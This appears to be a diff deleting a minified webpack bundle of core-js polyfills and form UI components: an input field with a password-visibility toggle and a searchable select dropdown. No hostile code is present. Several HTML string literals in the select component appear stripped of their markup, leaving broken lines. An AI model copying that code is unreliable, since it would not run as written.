- var D = t == "Array" ? T.entries || x : x; - var E, C, P; - if (D) { - P = d(D.call(new e)); - if (P !== Object.prototype && P.next) { - u(P, M, true); - if (!n && typeof P[f] != "function") s(P, f, v) - } - } - if (k && x && x.name !== p) { - L = true; - S = function e() { - return x.call(this) - } - } - if ((!n || b) && (c || L || !T[f])) { - s(T, f, S) - } - o[t] = S; - o[M] = v; - if (g) { - E = { - values: k ? S : w(p), - keys: y ? S : w(m), - entries: Y - }; - if (b) - for (C in E) { - if (!(C in T)) a(T, C, E[C]) - } else r(r.P + r.F * (c || L), t, E) - } - return E - } - }, function (e, t, i) { - e.exports = !i(34) && !i(47)(function () { - return Object.defineProperty(i(121)("div"), "a", { - get: function () { - return 7 - } - }).a != 7 - }) - }, function (e, t, i) { - var n = i(46); - var r = i(29).document; - var a = n(r) && n(r.createElement); - e.exports = function (e) { - return a ? r.createElement(e) : {} - } - }, function (e, t, i) { - e.exports = i(44) - }, function (e, t, i) { - var n = i(35); - var r = i(31); - var a = i(264)(false); - var s = i(86)("IE_PROTO"); - e.exports = function (e, t) { - var i = r(e); - var o = 0; - var l = []; - var u; - for (u in i) - if (u != s) n(i, u) && l.push(u); - while (t.length > o) - if (n(i, u = t[o++])) { - ~a(l, u) || l.push(u) - } - return l - } - }, function (e, t, i) { - var n = i(85); - e.exports = Object("z").propertyIsEnumerable(0) ? Object : function (e) { - return n(e) == "String" ? e.split("") : Object(e) - } - }, function (e, t, i) { - var n = i(80); - var r = Math.min; - e.exports = function (e) { - return e > 0 ? r(n(e), 9007199254740991) : 0 - } - }, function (e, t, i) { - var n = i(35); - var r = i(62); - var a = i(86)("IE_PROTO"); - var s = Object.prototype; - e.exports = Object.getPrototypeOf || function (e) { - e = r(e); - if (n(e, a)) return e[a]; - if (typeof e.constructor == "function" && e instanceof e.constructor) { - return e.constructor.prototype - } - return e instanceof Object ? s : null - } - }, function (e, t, i) { - e.exports = !i(18) && !i(12)(function () { - return Object.defineProperty(i(90)("div"), "a", { - get: function () { - return 7 - } - }).a != 7 - }) - }, function (e, t, i) { - "use strict"; - var n = i(9); - var r = i(18); - var a = i(40); - var s = i(91); - var o = i(19); - var l = i(49); - var u = i(12); - var d = i(50); - var f = i(41); - var c = i(17); - var h = i(129); - var m = i(64).f; - var p = i(16).f; - var v = i(97); - var _ = i(53); - var g = "ArrayBuffer"; - var y = "DataView"; - var b = "prototype"; - var w = "Wrong length!"; - var M = "Wrong index!"; - var k = n[g]; - var L = n[y]; - var T = n.Math; - var x = n.RangeError; - var S = n.Infinity; - var Y = k; - var D = T.abs; - var E = T.pow; - var C = T.floor; - var P = T.log; - var A = T.LN2; - var O = "buffer"; - var j = "byteLength"; - var H = "byteOffset"; - var I = r ? "_b" : O; - var F = r ? "_l" : j; - var z = r ? "_o" : H; - - function R(e, t, i) { - var n = new Array(i); - var r = i * 8 - t - 1; - var a = (1 << r) - 1; - var s = a >> 1; - var o = t === 23 ? E(2, -24) - E(2, -77) : 0; - var l = 0; - var u = e < 0 || e === 0 && 1 / e < 0 ? 1 : 0; - var d, f, c; - e = D(e); - if (e != e || e === S) { - f = e != e ? 1 : 0; - d = a - } else { - d = C(P(e) / A); - if (e * (c = E(2, -d)) < 1) { - d--; - c *= 2 - } - if (d + s >= 1) { - e += o / c - } else { - e += o * E(2, 1 - s) - } - if (e * c >= 2) { - d++; - c /= 2 - } - if (d + s >= a) { - f = 0; - d = a - } else if (d + s >= 1) { - f = (e * c - 1) * E(2, t); - d = d + s - } else { - f = e * E(2, s - 1) * E(2, t); - d = 0 - } - } - for (; t >= 8; n[l++] = f & 255, f /= 256, t -= 8); - d = d << t | f; - r += t; - for (; r > 0; n[l++] = d & 255, d /= 256, r -= 8); - n[--l] |= u * 128; - return n - } - - function N(e, t, i) { - var n = i * 8 - t - 1; - var r = (1 << n) - 1; - var a = r >> 1; - var s = n - 7; - var o = i - 1; - var l = e[o--]; - var u = l & 127; - var d; - l >>= 7; - for (; s > 0; u = u * 256 + e[o], o--, s -= 8); - d = u & (1 << -s) - 1; - u >>= -s; - s += t; - for (; s > 0; d = d * 256 + e[o], o--, s -= 8); - if (u === 0) { - u = 1 - a - } else if (u === r) { - return d ? NaN : l ? -S : S - } else { - d = d + E(2, t); - u = u - a - } - return (l ? -1 : 1) * d * E(2, u - t) - } - - function W(e) { - return e[3] << 24 | e[2] << 16 | e[1] << 8 | e[0] - } - - function B(e) { - return [e & 255] - } - - function q(e) { - return [e & 255, e >> 8 & 255] - } - - function $(e) { - return [e & 255, e >> 8 & 255, e >> 16 & 255, e >> 24 & 255] - } - - function V(e) { - return R(e, 52, 8) - } - - function G(e) { - return R(e, 23, 4) - } - - function U(e, t, i) { - p(e[b], t, { - get: function () { - return this[i] - } - }) - } - - function X(e, t, i, n) { - var r = +i; - var a = h(r); - if (a + t > e[F]) throw x(M); - var s = e[I]._b; - var o = a + e[z]; - var l = s.slice(o, o + t); - return n ? l : l.reverse() - } - - function J(e, t, i, n, r, a) { - var s = +i; - var o = h(s); - if (o + t > e[F]) throw x(M); - var l = e[I]._b; - var u = o + e[z]; - var d = n(+r); - for (var f = 0; f < t; f++) l[u + f] = d[a ? f : t - f - 1] - } - if (!s.ABV) { - k = function e(t) { - d(this, k, g); - var i = h(t); - this._b = v.call(new Array(i), 0); - this[F] = i - }; - L = function e(t, i, n) { - d(this, L, y); - d(t, k, y); - var r = t[F]; - var a = f(i); - if (a < 0 || a > r) throw x("Wrong offset!"); - n = n === undefined ? r - a : c(n); - if (a + n > r) throw x(w); - this[I] = t; - this[z] = a; - this[F] = n - }; - if (r) { - U(k, j, "_l"); - U(L, O, "_b"); - U(L, j, "_l"); - U(L, H, "_o") - } - l(L[b], { - getInt8: function e(t) { - return X(this, 1, t)[0] << 24 >> 24 - }, - getUint8: function e(t) { - return X(this, 1, t)[0] - }, - getInt16: function e(t) { - var i = X(this, 2, t, arguments[1]); - return (i[1] << 8 | i[0]) << 16 >> 16 - }, - getUint16: function e(t) { - var i = X(this, 2, t, arguments[1]); - return i[1] << 8 | i[0] - }, - getInt32: function e(t) { - return W(X(this, 4, t, arguments[1])) - }, - getUint32: function e(t) { - return W(X(this, 4, t, arguments[1])) >>> 0 - }, - getFloat32: function e(t) { - return N(X(this, 4, t, arguments[1]), 23, 4) - }, - getFloat64: function e(t) { - return N(X(this, 8, t, arguments[1]), 52, 8) - }, - setInt8: function e(t, i) { - J(this, 1, t, B, i) - }, - setUint8: function e(t, i) { - J(this, 1, t, B, i) - }, - setInt16: function e(t, i) { - J(this, 2, t, q, i, arguments[2]) - }, - setUint16: function e(t, i) { - J(this, 2, t, q, i, arguments[2]) - }, - setInt32: function e(t, i) { - J(this, 4, t, $, i, arguments[2]) - }, - setUint32: function e(t, i) { - J(this, 4, t, $, i, arguments[2]) - }, - setFloat32: function e(t, i) { - J(this, 4, t, G, i, arguments[2]) - }, - setFloat64: function e(t, i) { - J(this, 8, t, V, i, arguments[2]) - } - }) - } else { - if (!u(function () { - k(1) - }) || !u(function () { - new k(-1) - }) || u(function () { - new k; - new k(1.5); - new k(NaN); - return k.name != g - })) { - k = function e(t) { - d(this, k); - return new Y(h(t)) - }; - var K = k[b] = Y[b]; - for (var Q = m(Y), Z = 0, ee; Q.length > Z;) { - if (!((ee = Q[Z++]) in k)) o(k, ee, Y[ee]) - } - if (!a) K.constructor = k - } - var te = new L(new k(2)); - var ie = L[b].setInt8; - te.setInt8(0, 2147483648); - te.setInt8(1, 2147483649); - if (te.getInt8(0) || !te.getInt8(1)) l(L[b], { - setInt8: function e(t, i) { - ie.call(this, t, i << 24 >> 24) - }, - setUint8: function e(t, i) { - ie.call(this, t, i << 24 >> 24) - } - }, true) - } - _(k, g); - _(L, y); - o(L[b], s.VIEW, true); - t[g] = k; - t[y] = L - }, function (e, t, i) { - var n = i(41); - var r = i(17); - e.exports = function (e) { - if (e === undefined) return 0; - var t = n(e); - var i = r(t); - if (t !== i) throw RangeError("Wrong length!"); - return i - } - }, function (e, t, i) { - var n = i(20); - var r = i(22); - var a = i(93)(false); - var s = i(94)("IE_PROTO"); - e.exports = function (e, t) { - var i = r(e); - var o = 0; - var l = []; - var u; - for (u in i) - if (u != s) n(i, u) && l.push(u); - while (t.length > o) - if (n(i, u = t[o++])) { - ~a(l, u) || l.push(u) - } - return l - } - }, function (e, t, i) { - var n = i(9).document; - e.exports = n && n.documentElement - }, function (e, t, i) { - var n = i(51); - e.exports = Array.isArray || function e(t) { - return n(t) == "Array" - } - }, function (e, t) { - e.exports = function (e, t) { - return { - value: t, - done: !!e - } - } - }, function (e, t, i) { - "use strict"; - var n = i(40); - var r = i(0); - var a = i(32); - var s = i(19); - var o = i(54); - var l = i(279); - var u = i(53); - var d = i(55); - var f = i(11)("iterator"); - var c = !([].keys && "next" in [].keys()); - var h = "@@iterator"; - var m = "keys"; - var p = "values"; - var v = function () { - return this - }; - e.exports = function (e, t, i, _, g, y, b) { - l(i, t, _); - var w = function (e) { - if (!c && e in T) return T[e]; - switch (e) { - case m: - return function t() { - return new i(this, e) - }; - case p: - return function t() { - return new i(this, e) - } - } - return function t() { - return new i(this, e) - } - }; - var M = t + " Iterator"; - var k = g == p; - var L = false; - var T = e.prototype; - var x = T[f] || T[h] || g && T[g]; - var S = x || w(g); - var Y = g ? !k ? S : w("entries") : undefined; - var D = t == "Array" ? T.entries || x : x; - var E, C, P; - if (D) { - P = d(D.call(new e)); - if (P !== Object.prototype && P.next) { - u(P, M, true); - if (!n && typeof P[f] != "function") s(P, f, v) - } - } - if (k && x && x.name !== p) { - L = true; - S = function e() { - return x.call(this) - } - } - if ((!n || b) && (c || L || !T[f])) { - s(T, f, S) - } - o[t] = S; - o[M] = v; - if (g) { - E = { - values: k ? S : w(p), - keys: y ? S : w(m), - entries: Y - }; - if (b) - for (C in E) { - if (!(C in T)) a(T, C, E[C]) - } else r(r.P + r.F * (c || L), t, E) - } - return E - } - }, function (e, t, i) { - "use strict"; - var n = i(26); - var r = i(52); - var a = i(17); - e.exports = [].copyWithin || function e(t, i) { - var s = n(this); - var o = a(s.length); - var l = r(t, o); - var u = r(i, o); - var d = arguments.length > 2 ? arguments[2] : undefined; - var f = Math.min((d === undefined ? o : r(d, o)) - u, o - l); - var c = 1; - if (u < l && l < u + f) { - c = -1; - u += f - 1; - l += f - 1 - } - while (f-- > 0) { - if (u in s) s[l] = s[u]; - else delete s[l]; - l += c; - u += c - } - return s - } - }, function (e, t, i) { - "use strict"; - var n = i(16).f; - var r = i(65); - var a = i(49); - var s = i(25); - var o = i(50); - var l = i(74); - var u = i(134); - var d = i(133); - var f = i(72); - var c = i(18); - var h = i(33).fastKey; - var m = i(57); - var p = c ? "_s" : "size"; - var v = function (e, t) { - var i = h(t); - var n; - if (i !== "F") return e._i[i]; - for (n = e._f; n; n = n.n) { - if (n.k == t) return n - } - }; - e.exports = { - getConstructor: function (e, t, i, u) { - var d = e(function (e, n) { - o(e, d, t, "_i"); - e._t = t; - e._i = r(null); - e._f = undefined; - e._l = undefined; - e[p] = 0; - if (n != undefined) l(n, i, e[u], e) - }); - a(d.prototype, { - clear: function e() { - for (var i = m(this, t), n = i._i, r = i._f; r; r = r.n) { - r.r = true; - if (r.p) r.p = r.p.n = undefined; - delete n[r.i] - } - i._f = i._l = undefined; - i[p] = 0 - }, - delete: function (e) { - var i = m(this, t); - var n = v(i, e); - if (n) { - var r = n.n; - var a = n.p; - delete i._i[n.i]; - n.r = true; - if (a) a.n = r; - if (r) r.p = a; - if (i._f == n) i._f = r; - if (i._l == n) i._l = a; - i[p]-- - } - return !!n - }, - forEach: function e(i) { - m(this, t); - var n = s(i, arguments.length > 1 ? arguments[1] : undefined, 3); - var r; - while (r = r ? r.n : this._f) { - n(r.v, r.k, this); - while (r && r.r) r = r.p - } - }, - has: function e(i) { - return !!v(m(this, t), i) - } - }); - if (c) n(d.prototype, "size", { - get: function () { - return m(this, t)[p] - } - }); - return d - }, - def: function (e, t, i) { - var n = v(e, t); - var r, a; - if (n) { - n.v = i - } else { - e._l = n = { - i: a = h(t, true), - k: t, - v: i, - p: r = e._l, - n: undefined, - r: false - }; - if (!e._f) e._f = n; - if (r) r.n = n; - e[p]++; - if (a !== "F") e._i[a] = n - } - return e - }, - getEntry: v, - setStrong: function (e, t, i) { - u(e, t, function (e, i) { - this._t = m(e, t); - this._k = i; - this._l = undefined - }, function () { - var e = this; - var t = e._k; - var i = e._l; - while (i && i.r) i = i.p; - if (!e._t || !(e._l = i = i ? i.n : e._t._f)) { - e._t = undefined; - return d(1) - } - if (t == "keys") return d(0, i.k); - if (t == "values") return d(0, i.v); - return d(0, [i.k, i.v]) - }, i ? "entries" : "values", !i, true); - f(t) - } - } - }, function (e, t, i) { - var n = i(10); - e.exports = function (e, t, i, r) { - try { - return r ? t(n(i)[0], i[1]) : t(i) - } catch (t) { - var a = e["return"]; - if (a !== undefined) n(a.call(e)); - throw t - } - } - }, function (e, t, i) { - "use strict"; - var n = i(43); - var r = i(76); - var a = i(67); - var s = i(26); - var o = i(92); - var l = Object.assign; - e.exports = !l || i(12)(function () { - var e = {}; - var t = {}; - var i = Symbol(); - var n = "abcdefghijklmnopqrst"; - e[i] = 7; - n.split("").forEach(function (e) { - t[e] = e - }); - return l({}, e)[i] != 7 || Object.keys(l({}, t)).join("") != n - }) ? function e(t, i) { - var l = s(t); - var u = arguments.length; - var d = 1; - var f = r.f; - var c = a.f; - while (u > d) { - var h = o(arguments[d++]); - var m = f ? n(h).concat(f(h)) : n(h); - var p = m.length; - var v = 0; - var _; - while (p > v) - if (c.call(h, _ = m[v++])) l[_] = h[_] - } - return l - } : l - }, function (e, t, i) { - "use strict"; - var n = i(49); - var r = i(33).getWeak; - var a = i(10); - var s = i(8); - var o = i(50); - var l = i(74); - var u = i(66); - var d = i(20); - var f = i(57); - var c = u(5); - var h = u(6); - var m = 0; - var p = function (e) { - return e._l || (e._l = new v) - }; - var v = function () { - this.a = [] - }; - var _ = function (e, t) { - return c(e.a, function (e) { - return e[0] === t - }) - }; - v.prototype = { - get: function (e) { - var t = _(this, e); - if (t) return t[1] - }, - has: function (e) { - return !!_(this, e) - }, - set: function (e, t) { - var i = _(this, e); - if (i) i[1] = t; - else this.a.push([e, t]) - }, - delete: function (e) { - var t = h(this.a, function (t) { - return t[0] === e - }); - if (~t) this.a.splice(t, 1); - return !!~t - } - }; - e.exports = { - getConstructor: function (e, t, i, a) { - var u = e(function (e, n) { - o(e, u, t, "_i"); - e._t = t; - e._i = m++; - e._l = undefined; - if (n != undefined) l(n, i, e[a], e) - }); - n(u.prototype, { - delete: function (e) { - if (!s(e)) return false; - var i = r(e); - if (i === true) return p(f(this, t))["delete"](e); - return i && d(i, this._i) && delete i[this._i] - }, - has: function e(i) { - if (!s(i)) return false; - var n = r(i); - if (n === true) return p(f(this, t)).has(i); - return n && d(n, this._i) - } - }); - return u - }, - def: function (e, t, i) { - var n = r(a(t), true); - if (n === true) p(e).set(t, i); - else n[e._i] = i; - return e - }, - ufstore: p - } - }, function (e, t) { - e.exports = function (e, t, i) { - var n = i === undefined; - switch (t.length) { - case 0: - return n ? e() : e.call(i); - case 1: - return n ? e(t[0]) : e.call(i, t[0]); - case 2: - return n ? e(t[0], t[1]) : e.call(i, t[0], t[1]); - case 3: - return n ? e(t[0], t[1], t[2]) : e.call(i, t[0], t[1], t[2]); - case 4: - return n ? e(t[0], t[1], t[2], t[3]) : e.call(i, t[0], t[1], t[2], t[3]) - } - return e.apply(i, t) - } - }, function (e, t, i) { - var n = i(64); - var r = i(76); - var a = i(10); - var s = i(9).Reflect; - e.exports = s && s.ownKeys || function e(t) { - var i = n.f(a(t)); - var s = r.f; - return s ? i.concat(s(t)) : i - } - }, function (e, t, i) { - "use strict"; - var n = i(39); - - function r(e) { - var t, i; - this.promise = new e(function (e, n) { - if (t !== undefined || i !== undefined) throw TypeError("Bad Promise constructor"); - t = e; - i = n - }); - this.resolve = n(t); - this.reject = n(i) - } - e.exports.f = function (e) { - return new r(e) - } - }, function (e, t, i) { - t.f = i(11) - }, function (e, t, i) { - var n = i(22); - var r = i(64).f; - var a = {}.toString; - var s = typeof window == "object" && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : []; - var o = function (e) { - try { - return r(e) - } catch (e) { - return s.slice() - } - }; - e.exports.f = function e(t) { - return s && a.call(t) == "[object Window]" ? o(t) : r(n(t)) - } - }, function (e, t, i) { - "use strict"; - var n = i(41); - var r = i(42); - e.exports = function e(t) { - var i = String(r(this)); - var a = ""; - var s = n(t); - if (s < 0 || s == Infinity) throw RangeError("Count can't be negative"); - for (; s > 0; - (s >>>= 1) && (i += i)) - if (s & 1) a += i; - return a - } - }, function (e, t, i) { - var n = i(8); - var r = i(51); - var a = i(11)("match"); - e.exports = function (e) { - var t; - return n(e) && ((t = e[a]) !== undefined ? !!t : r(e) == "RegExp") - } - }, function (e, t, i) { - var n = i(8); - var r = Math.floor; - e.exports = function e(t) { - return !n(t) && isFinite(t) && r(t) === t - } - }, function (e, t) { - e.exports = Math.log1p || function e(t) { - return (t = +t) > -1e-8 && t < 1e-8 ? t - t * t / 2 : Math.log(1 + t) - } - }, function (e, t, i) { - var n = i(43); - var r = i(22); - var a = i(67).f; - e.exports = function (e) { - return function (t) { - var i = r(t); - var s = n(i); - var o = s.length; - var l = 0; - var u = []; - var d; - while (o > l) - if (a.call(i, d = s[l++])) { - u.push(e ? [d, i[d]] : i[d]) - } - return u - } - } - }, function (e, t, i) { - var n = i(17); - var r = i(145); - var a = i(42); - e.exports = function (e, t, i, s) { - var o = String(a(e)); - var l = o.length; - var u = i === undefined ? " " : String(i); - var d = n(t); - if (d <= l || u == "") return o; - var f = d - l; - var c = r.call(u, Math.ceil(f / u.length)); - if (c.length > f) c = c.slice(0, f); - return s ? c + o : o + c - } - }, function (e, t, i) { - "use strict"; - - function n(e) { - var t = this.constructor; - return this.then(function (i) { - return t.resolve(e()).then(function () { - return i - }) - }, function (i) { - return t.resolve(e()).then(function () { - return t.reject(i) - }) - }) - } - t["a"] = n - }, function (e, t, i) { - var n = i(123); - var r = i(88).concat("length", "prototype"); - t.f = Object.getOwnPropertyNames || function e(t) { - return n(t, r) - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(114); - var r = b(n); - var a = i(3); - var s = b(a); - var o = i(1); - var l = b(o); - var u = i(6); - var d = b(u); - var f = i(4); - var c = b(f); - var h = i(5); - var m = b(h); - var p = i(2); - var v = i(116); - var _ = b(v); - var g = i(423); - var y = b(g); - - function b(e) { - return e && e.__esModule ? e : { - default: e - } - } - var w = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - n.container = e.closest(".input"); - n.isTextarea = n.el.tagName.toLowerCase() === "textarea"; - n.bindEvents(); - n.checkValue(); - n.defaultType = n.el.getAttribute("type"); - if (n.settings.mask) { - n.bindInputMask() - } - if (n.el.getAttribute("type") === "password") { - n.initPasswordField() - } - n.state = { - isPasswordVisible: false - }; - return n - }(0, d.default)(t, [{ - key: "bindEvents", - value: function e() { - this.handleChange = this.handleChange.bind(this); - this.handleFocus = this.handleFocus.bind(this); - this.handleBlur = this.handleBlur.bind(this); - this.el.addEventListener("focus", this.handleFocus); - this.el.addEventListener("input", this.handleFocus); - this.el.addEventListener("blur", this.handleBlur); - this.el.addEventListener("change", this.handleChange); - this.el.addEventListener("input", this.handleChange); - setInterval(this.handleChange, 500); - if (this.isTextarea) { - (0, y.default)(this.el) - } - } - }, { - key: "handleChange", - value: function e(t) { - this.checkValue() - } - }, { - key: "handleFocus", - value: function e(t) { - this.setActive(true) - } - }, { - key: "handleBlur", - value: function e(t) { - this.setActive(false); - this.checkValue() - } - }, { - key: "setActive", - value: function e(t) { - if (t) { - this.container.classList.add("active") - } else { - this.container.classList.remove("active") - } - } - }, { - key: "checkValue", - value: function e() { - if (this.el.value != "") { - this.container.classList.add("input--hasvalue") - } else { - this.container.classList.remove("input--hasvalue") - } - } - }, { - key: "initPasswordField", - value: function e() { - this.handlePasswordVisibilityToggle = this.handlePasswordVisibilityToggle.bind(this); - this.container.classList.add("input--password"); - var t = this.container.querySelector(".input__pwd-eye"); - if (t) { - t.addEventListener("click", this.handlePasswordVisibilityToggle) - } - } - }, { - key: "handlePasswordVisibilityToggle", - value: function e() { - var t = this.container.querySelector(".input__pwd-eye"); - if (this.state.isPasswordVisible) { - t.classList.remove("is-active"); - this.el.setAttribute("type", this.defaultType) - } else { - t.classList.add("is-active"); - this.el.setAttribute("type", "text") - } - this.state = (0, r.default)({}, this.state, { - isPasswordVisible: !this.state.isPasswordVisible - }) - } - }, { - key: "bindInputMask", - value: function e() { - var t = new _.default(this.settings.mask, { - removeMaskOnSubmit: true, - autoUnmask: true, - showMaskOnHover: false, - showMaskOnFocus: true, - placeholder: "x" - }).mask(this.el) - } - }]); - return t - }(p.Component); - w.defaultSettings = { - attributes: true, - mask: null - }; - t.default = w - }, function (e, t, i) { - e.exports = { - default: i(421), - __esModule: true - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(13); - var r = y(n); - var a = i(3); - var s = y(a); - var o = i(1); - var l = y(o); - var u = i(6); - var d = y(u); - var f = i(4); - var c = y(f); - var h = i(5); - var m = y(h); - var p = i(7); - var v = g(p); - var _ = i(2); - - function g(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function y(e) { - return e && e.__esModule ? e : { - default: e - } - } - var b = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); - n.selectors = { - trigger: ".select__trigger", - input: ".select__inputtxt" - }; - n.simpleCharQueue = []; - n.simpleCharQueueClearing = n.simpleCharQueueClearing.bind(n); - n.debug = false; - n.preventClose = false; - n.preSelCurrent = undefined; - n.selectID = "select-" + parseInt(Math.random() * 1e7); - n.input = undefined; - n.onInputFocus = n.onInputFocus.bind(n); - n.onInputBlur = n.onInputBlur.bind(n); - n.onInputClick = n.onInputClick.bind(n); - n.onInputKeyUp = n.onInputKeyUp.bind(n); - n.onSimpleInputKeyUp = n.onSimpleInputKeyUp.bind(n); - n.onOptionClick = n.onOptionClick.bind(n); - n.close = n.close.bind(n); - n.build(); - if (n.settings.search && !n.settings.readonly) { - n.addInputEvents() - } else { - n.container.addEventListener("blur", function (e) { - if (n.preventClose) { - return false - } - n.close() - }) - } - if (!n.settings.readonly) { - n.addBasicEvents() - } - return n - }(0, d.default)(t, [{ - key: "build", - value: function e() { - var t = this; - this.el.style.display = "none"; - this.elId = this.el.getAttribute("id") + "_input"; - if (this.elId === null || this.elId === undefined) { - this.elId = "select-" + parseInt(Math.random() * 999999) - } - this.container = this.buildContainer(); - this.elName = this.el.getAttribute("name"); - if ((this.settings.autocomplete || this.settings.search) && !this.settings.retainName) { - this.el.removeAttribute("name") - } - this.trigger = document.createElement("div"); - this.trigger.className = "select__trigger"; - this.trigger.innerHTML = this.buildTriggerHTML(); - this.container.appendChild(this.trigger); - this.input = this.trigger.querySelector(this.selectors.input); - this.holder = document.createElement("div"); - this.holder.className = "select__holder"; - this.holder.setAttribute("role", "listbox"); - this.holder.setAttribute("id", this.selectID); - document.body.appendChild(this.holder); - this.holder.addEventListener("mousedown", function (e) { - t.preventClose = true; - e.preventDefault() - }); - v.insertAfter(this.container, this.el); - this.container.insertBefore(this.el, this.container.firstChild); - this.rebuildOptions(); - if (this.el.options[this.el.selectedIndex] && this.el.options[this.el.selectedIndex].value.length > 0) { - this.el.options[this.el.selectedIndex].selected = true - } - } - }, { - key: "buildContainer", - value: function e() { - var t = document.createElement("div"); - var i = this.settings.style.split(" ").map(function (e) { - return " select--" + e - }).join(""); - var n = "select" + i; - if (this.settings.search) { - n += " select--search" - } - if (this.settings.icon) { - n += " select--icon" - } - if (!this.settings.triggerarrow) { - n += " select--no-triggerarrow" - } - if (v.hasClass(this.el, "error")) { - n += " error" - } - t.className = n; - t.setAttribute("role", "combobox"); - t.setAttribute("aria-haspopup", "listbox"); - t.setAttribute("aria-owns", this.selectID); - t.setAttribute("aria-expanded", false); - t.setAttribute("aria-labelledby", this.selectID + "_label"); - if (!this.settings.autocomplete && !this.settings.search) { - t.tabIndex = 0 - } - return t - } - }, { - key: "buildTriggerHTML", - value: function e() { - var t = this.el.options[this.el.selectedIndex] || document.createElement("OPTION"); - var i = ""; - var n = false; - var r = this.settings.iconsize; - if (this.settings.icon) { - n = this.settings.icon - } - if (t && t.hasAttribute("data-icon")) { - n = t.getAttribute("data-icon"); - v.addClass(this.container, "select--icon") - } - if (n && !this.settings.search) { - i += '
\n \n \n \n
' - } - var a = t && t.hasAttribute("data-info") ? '' + t.getAttribute("data-info") + "" : ""; - if (!this.settings.search && t) { - i += t ? '
' + t.text + a + "
" : "" - } - if (this.settings.search) { - var s = this.settings.label ? '" : ""; - var o = "select__input" + (this.settings.label ? this.settings.labelstyle == "inline" ? " select__input--inline" : " select__input--stacked" : ""); - var l = this.settings.retainName ? "" : 'name="' + this.elName + '"'; - var u = this.settings.placeholder ? this.settings.placeholder : ""; - var d = this.settings.readonly ? 'readonly="true"' : ""; - var f = []; - for (var c in this.settings) { - if (c.indexOf("val") > -1) { - f.push("data-" + c + '="' + this.settings[c] + '"') - } - } - var h = f.join(" "); - i += '
\n ' + s + '\n \n
' - } - i += '
\n \n
'; - return i - } - }, { - key: "hasLabelOption", - value: function e() { - return this.el.options[0].value.length === 0 - } - }, { - key: "rebuildTrigger", - value: function e() { - this.trigger.innerHTML = this.buildTriggerHTML(); - this.removeInputEvents(); - this.input = this.trigger.querySelector(this.selectors.input); - if (this.settings.search && !this.settings.readonly) { - this.addInputEvents() - } - } - }, { - key: "buildOption", - value: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; - if (!t.value || t.hasAttribute("hidden")) { - return "" - } - if (!t.hasAttribute("value")) { - if (t.hasAttribute("data-label")) { - var n = t.getAttribute("data-label"); - return '
' + n + "
" - } - return "" - } - var r = t.text; - if (i) { - var a = new RegExp(v.regexcape(i), "i"); - var s = r.search(a); - r = r.substring(0, s) + "" + r.substring(s, s + i.length) + "" + r.substring(s + i.length, r.length) - } - var o = false; - if (String(this.getValue()) === String(t.value)) { - o = true - } - var l = o ? " active" : ""; - var u = t.getAttribute("data-icon"); - var d = 'focusable="false" tabIndex="-1"'; - var f = 'class="icon icon--20 icon-' + u + '"'; - var c = ""; - if (t.hasAttribute("data-icon")) { - c += '
'; - c += ""; - c += ''; - c += ""; - c += "
" - } - var h = t && t.hasAttribute("data-info") ? '' + t.getAttribute("data-info") + "" : ""; - var m = this.selectID + v.slugify(t.text) + t.value; - var p = ['id="' + m + '"', 'data-index="' + t.index + '"', 'data-value="' + t.value + '"', 'role="option"', 'class="select__option' + l + '"'].join(" "); - var _ = "
"; - _ += "" + c; - _ += ''; - _ += ' ' + r + "" + h; - _ += ""; - _ += "
"; - return _ - } - }, { - key: "rebuildOptions", - value: function e() { - this.holder.innerHTML = this.buildOptions(this.el.options); - this.bindOptionEvents() - } - }, { - key: "bindOptionEvents", - value: function e() { - var t = this; - (0, r.default)(this.holder.querySelectorAll(".select__option")).forEach(function (e) { - e.addEventListener("click", t.onOptionClick.bind(t, e)) - }) - } - }, { - key: "buildOptions", - value: function e(t) { - var i = this; - var n = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; - return [].slice.call(t).map(function (e) { - return i.buildOption(e, n) - }).join("") - } - }, { - key: "renderNoResults", - value: function e() { - return '
' + this.settings.noresults + "
" - } - }, { - key: "deselectAllOptions", - value: function e() { - (0, r.default)(this.el.options).forEach(function (e) { - e.selected = false - }) - } - }, { - key: "setSelectedIndex", - value: function e(t) { - t = parseInt(t); - this.deselectAllOptions(); - this.el.options[t].selected = true; - this.el.selectedIndex = t; - (0, r.default)(this.holder.querySelectorAll(".select__option")).forEach(function (e) { - e.classList.remove("active"); - e.setAttribute("aria-selected", false); - if (e.getAttribute("data-index") == t) { - e.classList.add("active"); - e.setAttribute("aria-selected", true) - } - }); - this.rebuildTrigger() - } - }, { - key: "setSelectedByLabel", - value: function e(t) { - var i = this; - var n = false; - (0, r.default)(this.el.options).forEach(function (e, r) { - if (e.value == t) { - n = true; - i.setSelectedIndex(r) - } - }); - return n - } - }, { - key: "setSelected", - value: function e(t) { - var i = this; - var n = false; - (0, r.default)(this.el.options).forEach(function (e, r) { - if (e.value === t.value && e.label == t.label) { - n = true; - i.setSelectedIndex(r) - } - }); - if (n) { - return - } - var a = document.createElement("option"); - a.setAttribute("value", t.value); - a.setAttribute("data-icon", t.icon); - a.innerHTML = t.label; - this.el.appendChild(a); - this.setSelectedIndex(this.el.options.length - 1); - this.rebuildOptions() - } - }, { - key: "getSelectedIndex", - value: function e(t) { - return this.el.selectedIndex - } - }, { - key: "open", - value: function e() { - var i = this; - if (this.isOpen()) return; - this.preventClose = false; - this.rebuildOptions(); - this.scrollIntoView(); - document.body.addEventListener("click", this.close); - this.container.setAttribute("aria-expanded", true); - this.doesOpensUpwards(); - t.instances.forEach(function (e) { - i !== e && e.close() - }); - setTimeout(function () { - i.scrollVisible() - }, 100); - if (!(this.settings.autocomplete || this.settings.search) && 